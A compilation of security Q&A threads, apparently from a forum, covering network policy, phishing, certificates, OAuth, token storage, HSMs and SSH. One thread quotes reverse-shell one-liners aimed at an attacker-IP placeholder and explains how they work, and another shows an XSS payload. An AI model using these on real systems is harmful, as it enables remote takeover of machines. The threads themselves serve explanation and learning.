How can I detect subnets? Given a WAN, which is connected to the internet via a single exit point.
Inside this WAN, I don't want to have any subnet structures.
Every user gets his own access point, which he can expand via switches.
The use of routers and especially WiFi routing is strictly prohibited.

How can I find out if a user is setting up WiFi or is creating a subnet?

That is not possible. The only way you can detect if someone setup a router with NAT function is to analyze the hardware addresses (MAC) of the endpoints. But the hardware address can be changed so that not very reliable solution.

Another way to detect WiFi networks is by physically move around in the area of the network and scan for WiFi networks with your phone or computer.

Why do you want to forbid routers? I can understand that you want to forbid WiFi access points, but why wired routers?


Why do I receive phishing mails from my bank shortly after visiting the bank's site? Sometimes I realize that I receive phishing emails just after doing some operations on the web.
For instance, I was trying to pay taxes from my bank account (website was trusted 100%, I checked the signature), just after a few minutes I receive a phishing email from bank with a fake email address.
Timing was very close with this operation I have performed. I had the same feeling in the past with other phishing emails, but I always thought was just a case. I wonder if there are some way / chance that this is not just a coincidence.

The key question is whether this is systematic and repeatable or not. Does it happen every time you visit your bank or even most of the time? If not, it's more likely you are dealing with a psychological phenomenon called confirmation bias. People tend to search patterns in everything, including random occasions.
Considering the amount of spam & scam email you get and the number of sites you visit it's probable you occasionally get a matching email right after visiting a site. Most of the time there's no correlation whatsoever, but the confirmation bias makes you ignore those occasions and concentrate on the coincidences.
I believe people here can come up with most imaginative explanations of different kind of possible ways your browsing could be compromised – and those are real mechanisms, too. However, the confirmation bias is a more probable explanation. Building targeted attacks like this would take a lot effort compared to any possible profit. Sending those phishing emails to random addresses is already profitable enough. Adjusting the scam based on browsing patterns wouldn't simply add anything, e.g. it does not increase reliability.


Why would a spammer try to get a (normal) image of mine? Yesterday I found a spam mail in my inbox. I inspected it in order to find out why DSpam and SpamAssasin failed. You can find the raw German mail here, here's a translation:

  Good Morning. We got to know each other on the website of acquaintances. I want to continue communicating with you, that's why I sent you my picture. I live in RU, the distance is no problem for me. We can communicate us. How old are you? Write me please and send me your photo. I'll be waiting.

The text has poor grammar and lacks any German umlauts.

What actually made me wonder was the purpose of the mail. Usually a spammer wants you to click a link or something, probably to infect one's PC or verify an active mail at least.

Why would a spammer want to know my age and a picture of mine?

There was a psychology experiment where two groups of homeowners went door-to-door and asked, ironically, for people to consent to display a large and ugly sign in their yard that said some form of, "Keep America beautiful."

What distinguished how the two experimental groups were treated was that one group was asked beforehand to agree to display an index card in their front window with the same theme. Almost everybody agreed to display the index card.

Agreeing to display the index card had a notable effect. People who were asked up front to display the sign in their yard usually refused (about 30% of them agreed). People who had displayed the index card usually agreed (about 70% of them agreed).

The point made in reference to this experiment has been called the "foot in the door effect." Agree to something little, and you are much more likely to agree to much more.

Add in this case that if someone is trusting, and perhaps like many people online a little lonely, sending a picture may not seem too much to ask. And you have a foot in the door opening up to problems much worse than mishandling of the German language.


Microsoft and SHA-1 deprecating on Windows 7 Microsoft states:

  Effective January 1, 2016, Windows (version 7 and higher) and Windows
  Server will no longer trust any code that is signed with a SHA-1 code
  signing certificate and that contains a timestamp value greater than
  January 1, 2016

Does this mean:

that executables (drivers etc.) signed using a certificate whose "Signature hash algorithm" is sha1 won't be trusted?
that executables (drivers etc.) signed using sha1 as the "Digest algorithm" signature won't be trusted (even if the "Signature hash algorithm" of the certificate used is sha256)?
Both?
Something completly different?

Note: I used terminology as it is in Windows.

Second questions is about this part in the link provided above:

  Code signature File Hashes: Microsoft does not require these file
  hashes to be done using SHA-2. Windows will also not enforce policies
  on these hashes. If pre-image attacks on SHA-1 become feasible we will
  reevaluate how the system trusts signatures made with such file
  hashes.

What exactly is ment by "Code signature File Hashes"?

Thanks.

It means that:

Between the 01/01/2016 and the 01/01/2017 for code signing certificate using the SHA-1 algorythm, executable signed with a time stamp dating on or before the 31/12/2015 will be accepted, executable signed on or after the 01/01/2016 will NOT be accepted.
On and after 01/01/2017, all certificate used for code signing will be required to use SHA-2.

This only applies to the hash algorythm used by the CA to validate the code signing certificate when it is issued (it's part of the certificate properties, not the code signature itself).

"Code signature file hash" is the process used by the tool used to sign the executable to perform the digital signature: it takes the original code file (without the signature, obviously), pass it through the hash function (the one we're talking about), and sign the resulting hash value with the code signing certificate (usually, adding a secure time stamp).

That "code signature file hash" is not required to be updated. It means that, for the time being, you can use the same signature process and tools and simply replace your code signing certificate.


Reverse shell back door Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ).

telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b>

Though example below of reverse shell backdoor doesn't need two listener, it's just one required.

/bin/bash -i > dev/tcp<attacker_ip>/<port> 0<&1 2>&1

I looked for the related question but can not find out the answer exactly match what I want to know...

Pipes are "half duplex" connections: data only flows through them in one direction (from the left-hand program to the right-hand program).  If you're using pipes to connect your shell to the network, you need two of them: one to handle input, and one to handle output.

Network connections, such as are provided by the /dev/tcp pseudo-filesystem in your second example, are bidirectional: data can flow in both directions.  The output redirection (> /dev/tcp/<attacker_ip>/<port> creates the network and hooks the shell's standard output to the connection input.  0<&1 means "connect standard input to the same place as standard output" (the network connection), and 2>&1 means "connect error output to the same place as standard output" (the network connection, again).


Limit access to shares on fileserver based on client subnet I recently segmented a network and the only hosts that are accessable from every subnet are the AD-Server and the fileserver. Now I want to limit the access to specific shares on that servers to a list of subnets. For example the project folders don't need to be accessable from the laboratory network.

It seems like this is not possible with the capabilities windows server 2012 offers. I can of cause limit the access to port 445 by subnet but thats not what I want. I need a way to filter on the protocol level or sth. like that. Is there a state of the art way to do this?

You cannot configure access to individual shares by IP ranges, the most you can do is limit access to SMB as a whole. For that, you can Use Windows Firewall with Advanced Security to modify the scope of the File and Printer Sharing rule (SMB-in) for the appropriate network profile to allow inbound SMB connections specifically from the appropriate subnets Why not use user groups though ? Separate user group for each subnet and assign them proper access.


Is JavaScript malware as dangerous as native viruses? Can JavaScript malware be as dangerous and damaging as more traditional viruses that are programmed mostly in native APIs?

The threat a virus impose in your system is, ideally, independent of its programming language because viruses exploit vulnerabilities in operating systems, applications, APIs etc. In this sense, a Javascript virus is as dangerous as any other virus.

Also, for web applications, JavaScript is one of the main attack vectors in techniques such as cross-site scripting (XSS) and cross-site request forgery (CSRF) because it's rather easy to write for web. Cisco's Annual Security Report and OWASP Top 10 rank XSS one of the most used methods for vulnerability exploitation.

tl;dr: JavaScript is as dangerous as any other programming language.


How was pentest performed in the era with no frameworks like Metasploit? I have been interested in security lately, I have been reading mainly cookbooks on Metasploit framework, how social engineering has been employed exhaustively, I have started reading some IA-32 concepts, but then I get confused at some point. If I take into account an attack with no user interaction - no possibility of client-side attack - , no framework like Metasploit available, no nmap, no nessus. What and how does a pentest happen? What's in the core?

Hypothetically speaking, a friend of mine runs an amateurish webserver he coded, full of flaws and vulnerability. This server is running on port 80. I went his home, I got a copy of the software with no permission and write out his network infos. At home I scrutinized the code and I found a stack overflow vulnerability.

But what's next? Here I can barely concatenate.
My exploit, as a client(browser), needs to connect to his webserver on port 80 in order to exploit the vulnerability and deploy the payload(a reverse one)? The latter is going to need to act as a server to connect back to my another client that is listening, waiting for a shell? I am quite confused about "naked pentest", I feel there are misunderstandings I unfortunately made that I would like some explanations to fill in the gaps in order for me to move on. Besides that, english is not my first language. Thanks in advance.

The same way a Capture The Flag challenge happens, you craft everything yourself.

In the end metasploit, nessus and nmap are all tools or a collection of tools to perform some tasks more easily. But you can "easily" write them yourself. A basic port scanner is quite easy to write. The thing is that Nessus and Metasploit reduce the time you have to spend as a pentester and the exploits are ready for use, this means you do not need a lot of skill to apply the exploits.

What you are trying to do requires some very deep understanding and I fear that we cannot explain you how to craft such an exploit in just a few steps. I advice you to study this a bit further. Books like the Shellcoders Handbook are really good at explaining this, but it's not for the faint hearted.


PKCE vs Client Secret If I was developing a web app client that would be served statically, I would need to either use the implicit grant flow (which is no longer advisable) or use the authorization code grant flow with PKCE. Given that I'm developing a web app client that will be served dynamically by a server, it's possible for me to utilize an authorization code grant flow in OAuth 2.0 without using PKCE -- the callback and subsequent token request will be handled server-side and the client secret can be stored securely on the server.

However, it would still be possible for me to utilize PKCE in this case (the server can generate the necessary code verifier instead of the client app). So my question is, is there any advantage to using one approach over the other (providing the client secret vs utilize PKCE). Is one more secure than the other in this context?

It boils down to whether there is a chance your authorization code might leak.

PKCE is about preventing leaked "authorization code"s from being useful. When you ask for an authorization code, PKCE requires you to send the hash of a nonce. When you redeem the code, you must provide the original nonce.

This means that a malicious actor (XSS or CSRF vulnerability) observing the authorization code request and response cannot redeem the code, as they don't know the nonce.

Edit: Additionally, the client_secret means that only your server can redeem authorization codes. But, anyone can send messages to your server! If the authorization code has been leaked, then that means you don't know who is sending your server the authorization code -- is it the person who initially asked for it or some eavesdropping app? Without checking the nonce, your server may end up using its client_secret to redeem authorization codes for an eavesdropper.


"Your connection is not private" for specific website, once when opening a new tab Like many, since March, I've been working from home and using the company's VPN to do my work.
Recently, if I open a new tab in Chrome, and navigate to "news.bbc.co.uk", I got the aforementioned error, with the supplemental information being:
Attackers might be trying to steal your information from news.bbc.co.uk.x.878874e0029b7043d30ab470050dec81a4e1.9270fd51.id.opendns.com (for example, passwords, messages, or credit cards). Learn more

This only happened when I opened a new tab.
It did not happen for any other site that I visited, just the BBC.
When I opened a new tab, and typed https://news.bbc.co.uk it (correctly) had no issue.
After forcing https as above, opening a new tab and just typing news.bbc.co.uk it worked.
A few minutes later, just typing news.bbc.co.uk once again causes a Privacy Error.

I was wondering why this is just happening to the BBC site, and no others, and what the redirect URL means (with OpenDNS).  When it fails, this is what is in the address bar:
https://news.bbc.co.uk.x.878874e0029b7043d30ab470050dec81a4e1.9270fd51.id.opendns.com/h/news.bbc.co.uk/?X-OpenDNS-Session=_878874e0029b7043d30ab470050dec81a4e19270fd51_eMU5iVa1_

Domains ending in .id.opendns.com are what OpenDNS uses to display the error pages for their Content Filtering service.
There are three likely possibilities for what is happening, but there is no easy way for us to tell you which is correct.
Possibilities #1 and #3 assume that somehow your computer is looking at multiple DNS servers (which could make sense if you are on a VPN). One of those DNS servers is returning the correct result, while the other is OpenDNS which is redirecting you to a block page. (For possibility #2, this is not necessarily the case.)

Your home IP address recently changed and the person who had it before you was using OpenDNS at home and chose to block this site. If this is the case, you can create a free "OpenDNS Home" account, add your IP address to it (which should remove that IP address from the previous holder's account), and turn off all blocking.

If your ISP uses "Carrier Grade NAT" to make multiple consumers share a single public IP address, there could be multiple people sharing the same public address as you, and at least two of them have OpenDNS blocking service set to block this site. Their two accounts are fighting with each other for control of that IP address. You can check if you are behind CGN to eliminate this possiblity.

Your work is trying to block access to non-work sites over the VPN - either they want to reduce load on the VPN servers or they buy into the myth that this will "improve productivity". In the former case, they could reconfigure the AnyConnect VPN to only pass traffic for specific IP ranges. In the latter case, they are deliberately trying to block this site and failing to do it properly. (This case is less likely, since it wouldn't make much sense for this to be the only site they block.)

If you disconnect from the VPN, do you ever have this problem?


Client-side hashing of password before sending it from login form I have just realized, that my web application is sending unencrypted passwords from login form. It's just like that -- I've analysed, that string sent by user from login form is hashed with MD5 (which is wrong itself -- but that's a different story) on server-side and compared after that (passwords in DB are hashed).

I have raised the issue in my internal issue tracker, that this should be replaced with using Javascript lib to hash password directly in login form, so it would never be sent in plaintext . I have immediately  received a comment from one of our developers, that this is wrong, because it requires user to have Javascript enabled. And, that problem should be solved by using HTTPS, not by hashing passwords at client-side.

I have my personal opinion about all this "it require Javascript to be enabled" crap, which is not important at this point. But, I'd like to get a clear answer, which one of us is wrong. Is it really forcing user to enable Javascript a bigger sin, than sending his/her password plain to the server? And what about situation, when my application will be run on HTTP, not HTTPS server (for many reasons)?

From the attacker's standpoint, whether you send a plain text password or a MD5 hash or it doesn't make much difference, as long as sending the same value over again unlocks the door. Remember, getting in is the primary objective, not obtaining the exact value of the password. So if the attacker intercepts the hashed password, sending it again from his box produces the same result -- login accepted. Using HTTPS would be the best solution, as it protects all the data.

EDIT: As for the situation when your application will be accessed over plain HTTP -- well, you are screwed then. Unless you roll your own protocol (NOT RECOMMENDED) to encrypt the password client-side and decrypt, hash, and validate it server-side, the password will be exposed.


Is there a way to put a self destroy password on Ubuntu disk encryption? Is there a way to put a self destroy password on ubuntu disk ecncryption ? Or self destroy after n bad password attempt ?

When someone ask you to entre the password, you can enter the "self destruct" password who blank the disk... not a bad idea ;-)

Best regards.

I don't know of an implementation for Ubuntu which uses LUKS. But there is a patched version of Truecrypt available which implements exactly this. It was presented at Brucon under the name "Moar Anti-Forensics for the Louise". You can find the source on Github.

There currently is no patch (I'm aware of) which supports this for the dm-crypt module within Ubuntu.


Using a hash to encrypt data Lately, I've been reading about cryptography and thought of a method of using hashes to encrypt data. From what I know, hashes are unique to each object and are one way functions. Encryption on the other hand is two way. Encryption relies on a key to decrypt the encrypted data. This key is the key (no pun intended) to the strength of the encryption. How it is created is everything. What I am wondering is could one could modify the data using a hash of a passphrase, to create a secure encryption? For example:

You have a string data.
You generate a hash of a passphrase.
You combine the corresponding characters of the hash and data together i.e

[data = asdfgh]    +
[hash = qwertyuiop] --->
result=ÒêÉØÛá

Note: This is just an example of how you could use the hash to modify the data. The main point is that you modify the data in any simple way with the hash: addition, subtraction, ORing, etc. You get the point.

After you encrypt it, you can throw out the hash. To decrypt it, all you have to do is to reverse the operation using the same hashing function and salt. All one needs is the passphrase used for the original hash.

This seems like it would work, because if the hashes are truly unique, the only way, it seems, without brute forcing, to decrypt the data would be to use the same hash as what you used to encrypt it.

This seems too simple though, and since I am a noob in this area, I'm sure there are security flaws. Is there anything inherently insecure about this?

Thanks

In case you want actual code for it, here is a quick python program that demonstrates the just of it:

#Encryption Test
import hashlib

class Key:
    def __init__(self, passphrase):
        self.passphrase = passphrase.encode('utf-8')
        self.salt = 'battery horse staple'.encode('utf-8')
    def hash_key(self):
        return hashlib.sha256(self.passphrase + b';' + self.salt).hexdigest()

class EDObject:
    def __init__(self, edobject):
        self.edobject = edobject
        self.result_l = []
    def encrypt(self, key):
        #Add the decimal values of key (hash) and object together.
        for i in range(len(self.edobject)):
            self.result_l.append(chr(ord(self.edobject[i])+ord(key.hash_key()[i])))
        return ''.join(self.result_l)
    def decrypt(self, key):
        #subtract the decimal values of the key from the encrypted object
        for i in range(len(self.edobject)):
            self.result_l.append(chr(ord(self.edobject[i])-ord(key.hash_key()[i])))
        return ''.join(self.result_l)

if __name__ == '__main__':
    o = EDObject(input('object:'))
    k = Key(input('pass:'))
    if input('e/d:') == 'e':
        #Encrypt
        print(o.encrypt(k))
    else:
        #Decrypt
        print(o.decrypt(k))

If I understand your approach and code correctly then you simply don't use the original passphrase for "encryption" but a key derived from passphrase and a static salt. This approach of not using the original passphrase but a derived key is also called key stretching using a key derivation function. The purpose is to make a "better" key by hiding a not so random passphrase behind complex operations which purposely take a long time and thus make brute forcing the original passphrase harder. The derived key is then used for encryption, but still with a good encryption algorithm.

Unfortunately the way you have used these ideas is wrong. You are not using the derived key in a strong encryption but only in a simple operation like XOR. This simple kind of "encryption" makes it easy to get the encryption key (i.e. the key derived from passphrase and salt) if enough encrypted data are known or if a few plain text is known. Once the attacker has this derived key it can decrypt all data, i.e. there is no need to find out the original passphrase and salt used for creating this key.

Apart from that your key derivation function is a fast hash which would make brute forcing easier. But again, one don't even need to reverse your key derivation to decrypt the content.


Clarification about the post: Russian hackers use ‘zero-day’ to hack NATO, Ukraine in cyber-spy campaign I have encountered the following article on Washington post:
Russian hackers use ‘zero-day’ to hack NATO, Ukraine in cyber-spy campaign.

As always in such kind of articles the publication sounds too scary. There is almost no information to understand what are they talking about.

Can anyone understand what kind of vulnerability are they talking about and explain in more technical terms what happened?

A description from isightpartners (English), and description from Eset's blog (Russian).

Embedded OLE object in Power Point document somehow can download and install .inf files and executable files.


Manufacturer-assigned hard-disk serial number as licensing ID I'm deploying software that is licensed based on uniquely identifiable computer characteristics.   I am wondering about the Manufacturer-assigned serial number of an internal fixed hard-disk.
To be clear, I am not referring to the Volume Serial Number which changes every time you format a Windows hard drive.  I mean the manufacturer-specific number that corresponds (usually) to what is physically written on label on the outside of the drive.  My software uses low level APIs (e.g. DeviceIoControl on Windows) to read it.
Is it possible for software to "spoof" this ID?  My understanding is that while software can query it, it cannot change it because it comes from firmware.  Is that correct?  (I've avoided using MAC addresses for this very reason, among others)

The hard disk hardware serial number and volume ID can easily be spoofed.  There are even tools available for doing this.  See https://www.raymond.cc/blog/changing-or-spoofing-hard-disk-hardware-serial-number-and-volume-id/.


SSL certification path building Background
Some SSL certificates have two certification paths. In other words: the trust-chain can take two paths. I installed all the certificates for one path but that gave an HTTPS error on some older devices. I looked up how this can occur. I found out that some older Android versions can't follow the link to the other certificate that was included in the certificate. That I fixed.

Real question
My real question is this: How is it determined which certification path is chosen by a application? What is the logic behind this?

There doesn't seem to be a standard. For Microsoft's CryptoAPI:

  When the computer finds multiple trusted certification paths during the certificate validation process, Microsoft CryptoAPI selects the best certification path by calculating the score of each chain. A score is calculated based on the quality and quantity of the information that a certificate path can provide. If the scores for the multiple certification paths are the same, the shortest chain is selected.

That sounds very ad hoc to me. Also, from the 2002 PKI Forum, 2002, Understanding Certification Path Construction (thanks to @StackzOfZtuff for the reference):

  The certification path construction process has
  not been standardized, and there is very little published information
  available to help implementers and product evaluators understand the
  complexities involved.


How to further analyze suspicious traffic I've been monitoring my network traffic with Little Snitch, and today, when launching Chrome, just the default Chrome tab (shows most frequent sites), it alerted me Chrome was trying to connect over SSL to the domain

goldenticket.disconnect.me

According to whois lookup, this domain is registered to a "dedicated server" that is also an Amazon AWS instance (goldenticket-658146952.us-east-1.elb.amazonaws.com). The entry indicates its IP address is in Ashburn, VA, right outside of D.C.

Pointing a browser at disconnect.me brings up some company site about browsing security, with a product called Disconnect that I have never heard of or installed on my machine.

What else can I determine about this traffic? I can't account for it, and I've run Chrome several sessions with LS3 without seeing this before.

To answer your question:goldenticket.disconnect.me

You probably have adblock add-on installed in your chrome brower


Where to store access and refresh tokens on ASP.NET client web app - calling a REST API I've made a Web API in ASP.NET that acts as the entry point into a SQL Server database for report data.  This service has a "token" endpoint that authenticates a user via ASP Identity and return a 20-minute access and 2-week refresh token.

This API should only be accessible via our own apps and products.  We'll be writing an Android app, iOS app, and ASP.NET web application that will authenticate with and get data from this Web API described above.  I'll be responsible for the ASP.NET client web application and the API.  We are building these apps all internally for our customers to login to and use.  No 3rd parties outside of my company will be calling our API through any of their own apps.

For my client ASP.NET web app, I'm writing it in ASP.NET MVC and it doesn't really have a database as of now since it communicates with the API for everything.

I've started with this as a base, and it works...but now I need to convert this HTML file to an ASP.NET web app in MVC and figure out where and how to store the access token and refresh tokens. http://blog.rfaisal.com/2014/01/14/building-your-own-api-and-securing-it-with-oauth-2-0-in-asp-net-webapi-2/

My questions are:

I understand I'll need to pass the access token in subsequent calls to the API to do CRUD operations.  Where should I make my web request to authenticate the user on the web app when logging in...from the C# code behind or JavaScript as in the tutorial referenced above?  I ask because I realize that I'll need the access token in my JS Ajax calls, but I've heard that the refresh token needs to be more "secure" and calling from the server code might give me more secure options of doing so??
Where do I store the access token?  In a cookie created in JavaScript or the server?  In JavaScript local storage?  In a session variable that I can pass to the JavaScript maybe?
Where do I store the refresh token? I'll need this for renewing the access token before it's about to expire.  I've Googled this to death, but cannot find a good ASP.NET solution online that tells me where or how to store this from the perspective of my consuming web application.  A cookie created from the server, saved in a SQL DB that the web app uses, in a session variable?

I'm in desperate need of help, and this is driving me insane and keeping me awake at night. Hope someone can provide a full, simple example and describe fully what I need to do.

1. Where to authenticate the user?
If it is a user who needs to authenticate, then you need something in your front-end. From your front-end, you can just do a POST to your back-end, with the user credentials. You verify the user credentials, and issue an accesstoken/refreshtoken pair in case the credentials are known. You will ALWAYS have to go via the back-end to authenticate a user. You mention that the tutorial does it in JS, but it does not. It POSTS to a login form. The POST is initiated in JS, but it goes to the back-end.
2. Where do I store the accesstoken?
The accesstoken can be stored the same way as normal authentication cookies are stored. You have various options (secure http-only cookie, localstorage, session storage, etc.). In the most simple scenario, you just store it in a cookie so that it is sent along with each request. However, for a mobile app, it is probably easier to store it in LocalStorage.
3. Where do I store the refreshtoken?
This highly depends on your application. I asked the same question a while ago, for mobile apps (be sure to read the comments as well). You should store the refreshtoken in a secure place. For the apps that you will develop, you can follow the suggestions from the answer I linked to, that is:

Store the refreshtoken in LocalStorage
Store the encrypted refreshtoken somewhere on the file system, using an API provided by Android/IOS. Store the encryption key in localstorage. (or the other way around).

For other kind of apps, other possibilities exist. Storing both the accesstoken and refreshtoken in LocalStorage might feel wrong from a security viewpoint, but an attacker will probably have more luck intercepting the token when it is in transit, than gaining access to the localstorage. Other, sometimes more exotic suggestions are given here (e.g. IOS secure storage).
Extra information

I personally like this series of blogposts very much. Be aware, they might start to become a little bit outdated, but they contain a wealth of information regarding a REST-OWIN set-up.
Please do not forget to implement all other security controls, which I have not mentioned as this would cloud the answer. HTTPS, http-only cookies, secure cookies, XSS preventions etc. should be implemented, or your token will be stolen much faster than the time you need to read this answer.


Is this php smarty template statement a security flaw? $smarty->assign("action", $_SERVER["PHP_SELF"]);

PHP_SELF is set client side by the browser so it can be modified by an attacker. Is Smarty "action" assigned to the form action field?
So can an attacker control where to POST data is sent, or see the variables set on the server side?

Any other flaws with this statement?

The traditional problem with using $_SERVER["PHP_SELF"] is that it includes PATH_INFO after the script URI. This means the URL can include dangerous characters which can lead to cross site scripting, f.ex if you script was script.php an attacker could append data after it like this:
https://example.com/script.php/thispart/is_path_info/"><script>alert(1)</script>

However as PATH_INFO is a configurable option for your web server, exploitation may not be possible. It is also possible to escape variables via smarty using escaping to prevent this.


Storage of 'secrets', keystores, HSMs and the rest I've been digging for the past few days into storage of sentitive data. If I store this data in a database, I believe the general accepted practice is to store sensitive data encrypted, for various reasons out of the scope of this question.

Encrypting data, however, means I have to manage the 'secrets' to this data. I've seen 2 main paths for this (in the java world), either KeyStores or HSMs. My first question is, are there any other valid alternatives (in the java world)?

There are multiple keystore formats that I can use in java, to name a few:

jks
jceks
pkcs12
bks
uber

I've seen very little information on the security of a keystore. I've been thinking that, had I access to a keystore, and when I look at the java API since all keystores are protected by a password, I could simply brute force the keystore, however secure it is. The second question then becomes, is it generally accepted practice that since keystores are on different systems than the encrypted data and since they are password protected, then this is 'secure enough' for real life conditions? What about the storage of the password to the keystore? Are there any accepted practices there? For example, storing it in yet another system? Having it manually entered on application startup? Having it in an os-protected file where only the application has read access to it?

The next question is in regards to HSMs. Since I can brute force keystores, what's to prevent me to do the exact same thing to a HSM? Time? Having to be logged in to the remote system since there is no file for me to copy and work with remotely?

The final question is does anyone have any idea of what is considered secure enough in terms of secret management? I would assume it varies depending on the type of information encrypted with the secret. From what I've read elsewhere, keystores seem good enough for most typical scenarios and HSMs are necessary in very niche scenarios, for CAs, governments and the like.

Any insights appreciated.

Broadly speaking, key stores are just different 'formats' for storing keys and metadata. To my knowledge there aren't any major security differences between them. Think about it as something similar to encoding an image as Jpeg or PNG or GIF. Subtle differences, but ultimately they store images.

You rightly picked on parts of the problem of key management in general, and hope you start to appreciate why it might get complicated. So you have data encrypted with a key, the key stored inside the keystore, protected with a passphrase, the passphrase stored... you see where this is going? At the end of this chain, there's some relatively small piece of information that if you obtain it - you can pretty much break the whole chain. This will likely give you access to all the data. Similarly, even if you solved this particular problem, the key for encryption/decryption/signature needs to be used. i.e. loaded into a program that uses it to manage the data. When it's loaded into memory, it's in some ways accessible to the CPU, and potentially other programs running on the same systems. If one of them is compromised, your key can be extracted from memory. Even if it is stored in encrypted form.

This is more-or-less where HSMs come in. Without HSM you are limited in your capability to store keys securely, and also limited in being able to perform cryptographic operations in-memory without exposing the key. HSMs 'hide' the key in a (usually physically protected) storage, and perform crypto operations inside this protected area. They operate in such a way to prevent access from other programs or the operating system. All those see is the input/output from this HSM. HSMs also vary in terms of the level of assurance they provide. FIPS-140 is one of the standards that cover different levels of assurance/resilience. Some HSMs also offer some degree of key management / authorization for you. For example, they can 'grant' encryption-only to certain users, but other users will also be able to decrypt data. They can limit the number of crypto operations per user/group, and they can be configured to lock-out after several failed attempts. This is something no keystore is able to do.

So whilst you are correct to note that keystores (and in-memory crypto operations) are usually 'good-enough'. In some circumstances, it might be preferable to use something even more secure. It all depends on the value of the data, the perceived level of current protection, the cost of additional protection using software-only, using HSM or other tools, and the threat profile to this data (who wants it, how capable they are, how much are they going to invest to do it etc).


Transmit ciphers using plain HTTP This is for end-to-end app, where the server is just 'dumb' temporary storage. I'm considering using plain HTTP (no TLS) to transmit ciphertexts due to the following reasons:

Security of a single encryption algorithm is well studied,
while stacking multiple ones is unknown (e.g. NaCl() vs. AES(NaCl())
Simplicity (at rest == in transit)
Increased server load (zero-copy sendfile(2) vs.
copying to RAM for TLS encrypt).

What risks do I have using a setup like this:

Two channels:

HTTPS for authentication/metadata/receive one-time token,
HTTP to transmit ciphertexts.

Client uses GET/POST http://example.com/?token=one-time.
Body: ciphertext (chunked in AEAD mode), flexible size (can be large)
Server validates token (to prevent reuse) then streams ciphertext to/from disk.
Client receives and decrypts ciphertext (to detect modification, truncation, etc.)

It sounds like you're trying to invent some sort of "DropBox" clone.

  Security of a single encryption algorithm is well studied, while stacking multiple ones is unknown (e.g. NaCl() vs. AES(NaCl())

I think this does not apply. I can not make a hard mathematical argument here, but for independent encryptions, with completely unrelated keys, the strength of the compound encryption can NOT go down at all. And will be at LEAST as strong as the weaker of the two encryptions. That's all. It's just preventing the simple addition of two key lengths. Worst case you end up with the lower of the two key lengths in the stack. That's for independent keys only. Which we can assume for a combination of at-rest encryption and TLS-session-key encryption. (Correct me if I'm wrong, Sec:SE.)

  Simplicity (at rest == in transit)

I think this is will be greatly offset by the complexity of your own authentication/signature scheme.

  Increased server load (zero-copy sendfile(2) vs. copying to RAM for TLS encrypt).

I think the impact on latency and throughput will be negligible. Maybe not even measurable. I'd insist on a benchmark. (-> See https://istlsfastyet.com/ )

And again: No idea how much of an impact the auth scheme will have.

  Server validates token (to prevent reuse) then streams encrypted archive files to/from disk.

This means that the server is NOT dumb storage anymore.

Instead what about setting things up like a mirror for a Linux distribution? Signed archives on dumb (S)FTP? Since you do client side verification anyway.


Are the problems with Window's CSPRNG still an issue on modern Windows? The paper Cryptanalysis of the Random Number Generator of the Windows Operating System describes some problematic aspects of the Windows CSPRNG. However the paper was written in 2007, and looked at the version of the generator present in Windows 2000. Are the problems described still issues in more recent Windows (7 or 8 for example)?

From the Wikipedia page:

  A 2007 paper from Hebrew University suggested security problems in the Windows 2000 implementation of CryptGenRandom (assuming the attacker has control of the machine). Microsoft later acknowledged that the same problems exist in Windows XP, but not in Vista. Microsoft released a fix for the bug with Windows XP Service Pack 3 in mid-2008.

So the answer would be: no, the described issues are no longer present in recent versions of Windows.

To be fair, the said issues were not critically serious to begin with. They were more indicative of suboptimal design; they could be turned into actual attacks only in situations where the attacker already has extensive power (he can read the victim's memory space...). Apparently, Microsoft tried to argue with the article authors (so it says there) but finally backed down, when they realized that "fixing" the PRNG was cheaper than arguing about it, and the admit-and-patch process could even be given a positive spin from a Public Relations point of view.


"Targeted" Brute-Force an Local App password I can't remember my password for a locally installed app but I wrote it down poorly and am sure of 6 letters/numbers out of 11.

I generated a list of all the possibilities given that the badly written letters could only be 2 or 3 possibilities per character.

It gave me a list of 216 combinations that I would like to run through the app on my mac.

I browsed and all I could find are some shady software that would do dictionary attacks... Is it possible to do a "targeted" brute-force attack using only tools available in the OS?

There's 2 quick options I can come up with from the top of my head, which are /usr/bin/expect (if this is available on mac), or Python's Pexpect library.

I don't know how expect does file IO, but for Python/Pexpect this obviously isn't a problem and you should be able to do what you're trying in 10-15 lines of code.


Why is external access to a server via SSH considered insecure? I recently had a conversation with my boss and an IT contractor that they use. My request to allow outside access to a machine on the network via SSH was denied on the grounds that SSH is insecure. I asked for an explanation and unfortunately did not understand it - the contractor stated SSH was insecure but did not know why.

Why is SSH insecure? There seems to be something I missed during our conversation that I desperately want to understand.

My proposal for SSH included using key-based access and fail2ban.

UPDATE: To explain the discussion, as soon as I asked the contractor why he thought SSH was insecure he said, verbatim, "I don't know" and proceeded angrily with an increased tone of voice for the rest of the conversation. I tried to extricate myself but had to fend off some strawmen to avoid looking completely incompetent due to his badgering. I made the arguments that most of the good answers to this question make below and they were promptly ignored.

Those same answers are extremely unconvincing if viewed with a skeptic eye. I'm not sure if my (which is the IT contractor's) question sets an unreasonably high burden of proof which can never be met, for either direction. If that is the case it would be wise to speak to that.

SSH is not typically considered insecure in and of itself but it is an administrative protocol and some organizations require two or more layers of control to get access to an administrative console. For example connecting via a VPN first then opening an SSH session which connects through that VPN. This simply provides multiple layers of defense in depth and prevents your systems from being directly affected by the latest SSH vulnerabilities.

Note: This is NOT a weakness in SSH itself and many organizations will still expose SSH on high TCP ports for use as SFTP servers then have a script move data to and from that system (not allowing the external SSH/SFTP server to connect to the rest of their network).

All protocols eventually have vulnerabilities so if you can require the use of two different ones (i.e. IPSEC VPN and SSH) and stay disciplined about remediation efforts when vulnerabilities are discovered then the window of time where known vulnerabilities exist in both protocols at the same time on your network should be very small. Statistically, the requirement for using two protocols should reduce the amount of time where you would have a single protocol exposed with a known vulnerability (assuming you actually patch/remediate vulnerabilities).

As a poor text graphic look the following:

Time --->

IPSEC ------------------------     ----------------

SSH   ---------       -----------------------------

Versus having just SSH, or a VPN, by itself:

SSH   ---------       -----------------------------

In the first example when an SSH vulnerability came out there wasn't one for IPSEC and vice versa so there was never a time, in this crude example, where your systems had vulnerabilities at both layers. This defense in depth is what is protecting the system behind these protocols which occasionally may have vulnerabilities.

In the second example, SSH by itself, the moment there is a vulnerability, or a password breach, or any number of other issues, an attacker can directly access your vulnerable system during the window of exposure.

I would ask if any other administrative protocols are being exposed and if so then you can question the technology bias but most likely you may be in an organization that doesn't allow any administrative protocols to be accessed directly from the Internet.


